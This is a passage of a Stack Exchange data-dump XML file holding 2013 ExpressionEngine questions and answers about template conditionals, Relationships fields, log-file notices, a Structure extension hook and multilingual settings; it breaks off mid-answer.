  <row Id="13138" PostTypeId="1" AcceptedAnswerId="13171" CreationDate="2013-08-25T06:24:05.710" Score="3" ViewCount="741" Body="&lt;p&gt;We're getting the following error:&#xA;&quot;You are not authorized to perform this action - Reason: Secure Forms Timeout&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time we submit step 1 of a multi-page form. It was working fine yesterday.&#xA;We get the same error if we try to go back from step 2 to step 1, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm attaching the form template in an html file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you please help? The form is published and it should be heavily used on a trade show during this weekend! Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2018-05-07T17:05:51.067" Title="Freeform &quot;Secure Forms timeout&quot;" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13140" PostTypeId="2" ParentId="13100" CreationDate="2013-08-25T15:23:32.327" Score="1" Body="&lt;p&gt;Some days ago, I found a bug on parsing adjacent conditionals:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;foo&quot;}{/if}{if segment_1 == [...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just had to separate the conditionals:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;foo&quot;}{/if}&#xA;{if segment_1 == [...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, please, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;list&quot;&amp;gt;&#xA;    {exp:channel:categories &#xA;    parent_only=&quot;no&quot; &#xA;    show_empty=&quot;no&quot; &#xA;    style=&quot;linear&quot; &#xA;    {if segment_1 == &quot;cave&quot;}category_group=&quot;3&quot;{/if}&#xA;    {if segment_1 == &quot;clothing&quot;}category_group=&quot;7&quot;{/if}&#xA;    {if segment_1 == &quot;accessories&quot;}category_group=&quot;8&quot;{/if}&#xA;    {if segment_1 == &quot;brands&quot;}category_group=&quot;2&quot;{/if}&#xA;    }&#xA;        &amp;lt;li&amp;gt;&#xA;          &amp;lt;article&amp;gt;&#xA;            &amp;lt;a href=&quot;/{segment_1}/category/{category_url_title}&quot;&amp;gt;&#xA;              {category_image}&#xA;              &amp;lt;h2&amp;gt;{category_name}&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;          &amp;lt;/article&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    {/exp:channel:categories}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-08-25T15:23:32.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13141" PostTypeId="2" ParentId="13126" CreationDate="2013-08-25T16:09:46.407" Score="2" Body="&lt;p&gt;Are you using composer? You could make a new composer template (which automatically starts you with the default composer template tag, etc, so you don't have to start from scratch) and you can add custom params there in the template area: &lt;a href=&quot;http://cl.ly/image/3X3N2A2i3A0L&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/3X3N2A2i3A0L&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in the upper left hand corner in composer itself, choose the new composer template and save.&lt;/p&gt;&#xA;" OwnerDisplayName="user550" LastActivityDate="2013-08-25T16:09:46.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13143" PostTypeId="2" ParentId="12262" CreationDate="2013-08-25T19:27:27.450" Score="0" Body="&lt;p&gt;You could always also head over to the main Pixel and Tonic web site to ask questions about this module. I know that they recently switched all purchase and distribution from their site to devot-ee, but they do offer &lt;a href=&quot;http://pixelandtonic.com/support&quot; rel=&quot;nofollow&quot;&gt;support&lt;/a&gt;, including an email address you can use to contact them directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking on their site, though, it seems that this is not listed among their offerings. You may want to ask them directly (though they do regularly engage here, so maybe one of them will pop in and give information about long-term plans / development for that module.)&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-08-25T19:27:27.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13144" PostTypeId="2" ParentId="12262" CreationDate="2013-08-25T19:39:35.270" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Appears to still be working but the forum at devot-ee is closed&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;P&amp;amp;T staff are regularly on stack exchange so I'm sure they will stop by.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm getting this error in the developer log&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Unless you're actually an add-on developer, you should just disable the developer log warnings (I wish they were disabled by default). They are just that, only warnings, and they are really only useful to add-on developers who are in a position to fix the add-ons in question. They won't affect the stability or function of your website at all.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Deprecated function generate_json() called in system/expressionengine/third_party/module_nav/acc.module_nav.php on line 82. &#xA;Deprecated since 2.6. Use the native JSON extension (json_encode()) instead.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is actually really easy to fix, and since the &lt;a href=&quot;https://github.com/brandonkelly/module_nav&quot; rel=&quot;nofollow&quot;&gt;module is open source and on github&lt;/a&gt; I went ahead and fixed it and &lt;a href=&quot;https://github.com/brandonkelly/module_nav/pull/4&quot; rel=&quot;nofollow&quot;&gt;made a pull request&lt;/a&gt;. So if you want you can try &lt;a href=&quot;https://github.com/adrianmacneil/module_nav/tree/patch-1&quot; rel=&quot;nofollow&quot;&gt;my updated version&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-08-25T19:39:35.270" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13145" PostTypeId="2" ParentId="13101" CreationDate="2013-08-25T21:07:42.820" Score="1" Body="&lt;p&gt;Your code looks good to me, but maybe try adding the &lt;code&gt;depth=&quot;1|2&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-08-25T21:07:42.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13146" PostTypeId="2" ParentId="13122" CreationDate="2013-08-25T21:14:47.147" Score="1" Body="&lt;p&gt;The single tag &lt;code&gt;{films:film_language}&lt;/code&gt; will never return empty. Try it by itself in your template and see what you get. A &lt;code&gt;0&lt;/code&gt;, I think (don't remember).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's nothing for the Playa field to parse, if it's empty, then it won't show, so just do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {films:film_language}&#xA;        {exp:playa:children channel=&quot;languages&quot; var_prefix=&quot;filmlanguage&quot; backspace=&quot;1&quot;} &#xA;            {filmlanguage:title},&#xA;        {/exp:playa:children}&#xA;    {/films:film_language}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does that solve it for you?&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-08-26T17:54:49.523" LastActivityDate="2013-08-26T17:54:49.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13147" PostTypeId="1" CreationDate="2013-08-25T23:56:13.707" Score="0" ViewCount="377" Body="&lt;p&gt;i have a very strange issue that the paypal redirect point to the wrong url in Safari and some versions of Chrome. The redirect url is correct and it work on some browsers.&#xA;But on other the redirect seems to be a wrong act url and i didn't find out how i could handle this? Any suggestions to that issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Peter&lt;/p&gt;&#xA;" OwnerUserId="768" LastActivityDate="2013-10-13T18:58:01.957" Title="Paypal redirect is wrong after payment!" Tags="|expresso-store|paypal|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13148" PostTypeId="1" AcceptedAnswerId="13153" CreationDate="2013-08-26T02:28:53.783" Score="1" ViewCount="54" Body="&lt;p&gt;In the control panel, if you go to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin -&gt;  General Configuration&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is an option for setting the default language. The select dropdown contains the list of languages that are supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get this list of languages either in the templates or inside a plugin function?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-08-26T14:28:44.720" Title="Is there a way to get the list of languages in the frontend?" Tags="|multi-language|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13149" PostTypeId="1" AcceptedAnswerId="13151" CreationDate="2013-08-26T07:22:47.180" Score="1" ViewCount="670" Body="&lt;p&gt;I'm building what I imagine to be a fairly stock-standard page template on a very standard EE setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm attempting to use EE 2.6.1's new native Relationships field type to link articles to each other, and to pages from another channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to do is check if there are any related articles for the current page/article &lt;em&gt;before&lt;/em&gt; I spit out the related content (if it's there). This is mainly so I can show or hide the &quot;Related Articles&quot; as appropriate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My basic code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if related_articles}&#xA;    &amp;lt;h3&amp;gt;Related Articles&amp;lt;/h4&amp;gt;&#xA;    {related_articles}&#xA;        {related_articles:title} (etc...)&#xA;    {/related_articles}&#xA;{if:else}&#xA;    There are no related articles.&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This just returns the message about there being no related articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I take the &lt;code&gt;{related_articles}&lt;/code&gt; loop out of the conditional, it performs exactly as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This type of check would work just fine with any other type of channel field variable, so I'm a little confused as to why it's not working here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked over the official &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Relationships documentation&lt;/a&gt; a couple of times, but it doesn't seem to mention this type of scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong, or missing something obvious? Is this something that can be achieved with EE's new native relationships?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;Ok, shortly after posting this I found &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13028/relationship-what-im-doing-wrong&quot;&gt;this question&lt;/a&gt;, the answer to which helped me out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find the solution to be a little messy (nesting my title and any opening and closing DIVs within the loop itself - potentially necessitating multiple conditionals within the loop) but it gets the job done.&lt;/p&gt;&#xA;" OwnerUserId="1951" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-08-27T09:14:35.313" Title="Checking if there are any related entries" Tags="|ee2|templates|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13150" PostTypeId="2" ParentId="13002" CreationDate="2013-08-26T08:15:18.597" Score="1" Body="&lt;p&gt;as suggested here : &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/6369/assets2-borked-after-removing-index-php-official-ellislab-method&quot;&gt;Assets2 borked after removing index.php (official Ellislab method)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you should add this line to your config.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['assets_site_url'] = '/index.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="740" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-08-26T08:15:18.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13151" PostTypeId="2" ParentId="13149" CreationDate="2013-08-26T10:35:37.133" Score="3" Body="&lt;p&gt;That won't work as the relationship is a tag pair, so at it's basic you could use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{related_articles}{related_articles:title}{/related_articles}&quot;}&#xA;    &amp;lt;h3&amp;gt;Related Articles&amp;lt;/h4&amp;gt;&#xA;    {related_articles}&#xA;        {related_articles:title} (etc...)&#xA;    {/related_articles}&#xA;{if:else}&#xA;    There are no related articles.&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that's really clunky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation isn't great, but reading the comments from the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;, Hop Studios has the solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {parents field=&quot;my_field&quot;}&#xA;   {if parents:no_results}NOTHING FOUND{/if}&#xA;   (&amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt;{parents:title}&amp;lt;/a&amp;gt; {count} {parents:count})&#xA; {/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So at a guess, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{related_articles}&#xA;    {if no_results}&#xA;        There are no related articles.&#xA;    {/if}&#xA;    {if count == 1}&amp;lt;h3&amp;gt;Related Articles&amp;lt;/h3&amp;gt;{/if}&#xA;&#xA;    {related_articles:title} (etc...)&#xA;{/related_articles}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This &lt;strong&gt;may&lt;/strong&gt; also work...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if related_articles:no_results}&#xA;    ...&#xA;{if:else}&#xA;    ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;FYI: Your original... &lt;code&gt;&amp;lt;h3&amp;gt;Related Articles&amp;lt;/h4&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-08-27T09:14:35.313" LastActivityDate="2013-08-27T09:14:35.313" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13153" PostTypeId="2" ParentId="13148" CreationDate="2013-08-26T14:28:44.720" Score="2" Body="&lt;p&gt;I am not sure if there is any template tag for it but all the languages can be fetched with code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically all the language options displayed from the installed language packs within the directory &quot;system/expressionengine/language/&quot;. I think, you can develop a small plugin for it with the following code example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;model('admin_model');&#xA;$languages = ee()-&amp;gt;admin_model-&amp;gt;get_installed_language_packs();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;code&gt;$languages&lt;/code&gt; is an array of all languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-08-26T14:28:44.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13154" PostTypeId="1" CreationDate="2013-08-26T14:50:48.483" Score="2" ViewCount="94" Body="&lt;p&gt;Has anyone tried integrating &lt;a href=&quot;https://www.easypost.com&quot; rel=&quot;nofollow&quot;&gt;EasyPost&lt;/a&gt; with Exp:resso Store? They seem like a good fit, and I might have a go at it myself if necessary, but I don't want to duplicate anybody's work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, is there a basic template for a Store shipping module that I can start from?&lt;/p&gt;&#xA;" OwnerUserId="93" LastActivityDate="2013-08-27T04:21:22.120" Title="EasyPost integration with Exp:resso Store" Tags="|expresso-store|module|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13155" PostTypeId="1" AcceptedAnswerId="13162" CreationDate="2013-08-26T16:08:35.540" Score="2" ViewCount="140" Body="&lt;p&gt;Using Structure to manage a bunch of content and I'd love to show the value of a single custom field to the right of the title. It is just a number field to identify a piece of artwork. I imagine there may be a hook or something to grab onto within Structure and grab the value, but I was wondering if anyone had done this before and had any advice to offer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do know that I could go the route of Zenbu to show more customized information in a standard channel entries display, but I'd prefer to keep my client in the Structure world if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="24" LastActivityDate="2013-08-26T19:30:31.820" Title="Add custom field output to Structure row" Tags="|structure|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13156" PostTypeId="2" ParentId="13155" CreationDate="2013-08-26T17:54:47.800" Score="0" Body="&lt;p&gt;You can use a normal channel tag to show any custom fields you want. If it's not data that is part of the current page URL, you'll need to specify the entry_id and use dynamic=&quot;no&quot;.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-08-26T17:54:47.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13157" PostTypeId="1" AcceptedAnswerId="13158" CreationDate="2013-08-26T18:02:39.487" Score="1" ViewCount="367" Body="&lt;p&gt;Running EE on windows server and I get the &quot;duplicate page uri&quot; error when editing any entry. I don't want these as pages, but I can't save without creating a unique page url for them...&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2014-01-20T20:28:40.207" Title="Why am I getting a &quot;duplicate page uri&quot; error when leaving the field blank?" Tags="|error|pages|windows|iis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13158" PostTypeId="2" ParentId="13157" CreationDate="2013-08-26T18:15:22.417" Score="2" Body="&lt;p&gt;If that page has been added to the Pages module list, it will require a URI. And if you've left at least one other blank, then that's where your duplicate URI is coming in. Just check out the Pages module list and make sure you delete the page from there -- it won't actually remove the page entry in the channel though.&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-08-26T18:15:22.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13159" PostTypeId="1" AcceptedAnswerId="13190" CreationDate="2013-08-26T18:15:29.130" Score="1" ViewCount="289" Body="&lt;p&gt;On several of my EE2.6.1 websites I am noticing that the log files are getting bloated with the following notice over and over again:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ERROR - 2013-08-26 13:10:20 --&amp;gt; Severity: Notice  --&amp;gt; Use of undefined constant REQ - assumed 'REQ' /home/highland/public_html/system/expressionengine/libraries/Core.php 48&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone else getting this in their logs? Have any idea how I can fix this or what it means?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2013-08-27T16:15:32.970" Title="Notice in Log file: Use of undefined constant REQ - filling up log files" Tags="|ee2|error|core|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13160" PostTypeId="1" AcceptedAnswerId="15319" CreationDate="2013-08-26T18:31:31.113" Score="1" ViewCount="75" Body="&lt;p&gt;I'm trying to identify and fix the errors that I keep seeing in my log files. I'm on EE2.6.1, with Zenbu 1.8.3, and I'm seeing the following errors all over my log files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ERROR - 2013-08-26 13:17:31 --&amp;gt; Severity: Notice  --&amp;gt; Undefined variable: rule_cond /home/highland/public_html/system/expressionengine/third_party/zenbu/views/zenbu_index.php 28&#xA;ERROR - 2013-08-26 13:17:31 --&amp;gt; Severity: Notice  --&amp;gt; Undefined variable: rule_cond /home/highland/public_html/system/expressionengine/third_party/zenbu/views/zenbu_index.php 22&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this is related or not, but I recently also had an issue with Zenbu when trying to display the &quot;Dates &amp;amp; Options&quot; field from Solspace Calendar events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insights into the cause of this, or possible fix? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2013-11-02T07:59:10.033" Title="Zenbu errors in log file: Undefined variable: rule_cond" Tags="|ee2|error|solspace-calendar|zenbu|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13161" PostTypeId="2" ParentId="13058" CreationDate="2013-08-26T18:59:07.467" Score="2" Body="&lt;p&gt;I would suggest checking our either &lt;a href=&quot;http://devot-ee.com/add-ons/link-vault&quot; rel=&quot;nofollow&quot;&gt;Link Vault&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/protected-links&quot; rel=&quot;nofollow&quot;&gt;Protected Links&lt;/a&gt; both are quite similar and work very well for what you're looking to do.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-08-26T18:59:07.467" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13162" PostTypeId="2" ParentId="13155" CreationDate="2013-08-26T19:30:31.820" Score="1" Body="&lt;p&gt;You'll need an &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;Extension&lt;/a&gt; that taps into the structure_index_view_data hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function activate_extension() {&#xA;    $hooks = array(&#xA;        &quot;structure_index_view_data&quot; =&amp;gt; &quot;customise_structure&quot;&#xA;    );&#xA;&#xA;    foreach ($hooks as $hook =&amp;gt; $method) {&#xA;        $data = array(&#xA;            'class' =&amp;gt; __CLASS__,&#xA;            'method' =&amp;gt; $method,&#xA;            'hook' =&amp;gt; $hook,&#xA;            'settings' =&amp;gt; &quot;&quot;,&#xA;            'priority' =&amp;gt; 10,&#xA;            'version' =&amp;gt; $this-&amp;gt;version,&#xA;            'enabled' =&amp;gt; 'y'&#xA;        );&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert($this-&amp;gt;EE-&amp;gt;db-&amp;gt;dbprefix . 'extensions', $data);&#xA;    }//###   End of foreach   ###&#xA;}//###   End of activate_extension function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your customise_structure method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function customise_structure($data) {&#xA;    if ($this-&amp;gt;extensions-&amp;gt;end_script === TRUE)&#xA;        return $data;&#xA;    if ($this-&amp;gt;EE-&amp;gt;extensions-&amp;gt;last_call !== FALSE)&#xA;    $data = $this-&amp;gt;EE-&amp;gt;extensions-&amp;gt;last_call;&#xA;&#xA;    foreach($data[&quot;data&quot;] as $tab_id =&amp;gt; $content) {&#xA;        foreach($content as $eid =&amp;gt; $page) {&#xA;            //Use $page['entry_id'] to get the entry ID&#xA;            //Use $page['title'] to append and customise the row display&#xA;&#xA;            ...&#xA;&#xA;        }//###   End of foreach   ###&#xA;    }//###   End of foreach   ###&#xA;    return $data;&#xA;}//###   End of customise_structure function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the entry_id you could run a query for each loop getting the custom field then appending it to $page[&quot;title&quot;] with relevant spacing or span to indent or style further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be warned though, do a query per loop would be consuming, you'd be better to do an initial loop building the entry_id list, then build a single SQL getting just the single custom field you require for all the entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should be enough to get you up and running on building your own extension.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-08-26T19:30:31.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13165" PostTypeId="1" CreationDate="2013-08-26T22:52:49.833" Score="0" ViewCount="76" Body="&lt;p&gt;We are using Matrix to make a company calendar. We would like to enter the events into a matrix table one month at a time but display only the current day's events. We are trying to search a matrix date field and check if it matches the current day.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{schedule search:date=&quot;={current_time}&quot; sort=&quot;asc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone done this before? Suggestions/help is much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2013-09-26T13:46:56.377" Title="Matrix Day Calendar" Tags="|matrix|pixelandtonic|calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13168" PostTypeId="1" AcceptedAnswerId="13170" CreationDate="2013-08-27T03:55:42.543" Score="1" ViewCount="567" Body="&lt;p&gt;I am making my site multilingual and the solution that I went with is to leverage CI's language system(that is, I am using language files).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using this &lt;a href=&quot;http://devot-ee.com/add-ons/language-variables&quot; rel=&quot;nofollow&quot;&gt;addon&lt;/a&gt; to access language variables from the language files. Here is the code used to retrieve the language strings&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$lang_file = ($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('file')) ? $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('file') : 'custom_label';&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;lang-&amp;gt;loadfile($lang_file);&#xA;&#xA;$param = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('value');&#xA;&#xA;$string = ($this-&amp;gt;EE-&amp;gt;lang-&amp;gt;line($param)) ? $this-&amp;gt;EE-&amp;gt;lang-&amp;gt;line($param) : '';&#xA;&#xA;return $string;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I noticed though that no languages was set here. So I assumed that it is being set somewhere before this code executes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried changing the languages in the &lt;em&gt;Localization Settings&lt;/em&gt; for each member and the addon worked, getting only the strings from that language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is all well and good but it does have a problem in particular.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The current system only works for members. What if a guest(logged out user) wants to&#xA;  change language?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Solutions I am currently thinking are&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Instead of relying on the saved preferred languaged, I would base it on the url segment&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://domain.com/en/test&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/en/test&lt;/a&gt; and &#xA;&lt;a href=&quot;http://domain.com/fr/test&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/fr/test&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Store the language code in session&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, both of this can only work if I can override the currently set language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Please don't suggest using addons like Publisher or Transcribe. I want to do this without using those addons.&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-08-27T05:18:25.710" LastActivityDate="2013-08-27T05:18:25.710" Title="Overriding the default/loaded language" Tags="|multi-language|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13169" PostTypeId="2" ParentId="13154" CreationDate="2013-08-27T04:21:22.120" Score="1" Body="&lt;p&gt;I don't know of anyone that has implemented EasyPost with Store. Store's shipping gateways are undergoing a major overhaul in how they function from v1 to v2 (which is under active development now). Depending on your timeframe I would recommend waiting for v2 to be released (or emailing support@exp-resso.com to see about getting added in to the beta).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is not an example shipping module per say but you can look at the UPS/USPS/FedEx plugins in the current version of Store to see how things are setup currently as a great starting point. In v2 the shipping plugins are handled as extensions which should make them easier to create and extend.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-08-27T04:21:22.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13170" PostTypeId="2" ParentId="13168" CreationDate="2013-08-27T04:23:52.103" Score="2" Body="&lt;p&gt;You need to set the language code each time when a page loads. I think, you would know that a language can be set with config variable (within config.php) like: &lt;code&gt;$config['language'] = 'english';&lt;/code&gt;. You should have the same logic and use the hook &lt;code&gt;sessions_start&lt;/code&gt;. Within the hooked extension you can set the language like &#xA;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;config-&amp;gt;_global_vars['language'] = 'french';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I think it would be good to set language in cookie so Global Var's language value can be assigned from cookie to avoid getting the language again and again from URI (with language code like &lt;a href=&quot;http://domain.com/fr/test&quot; 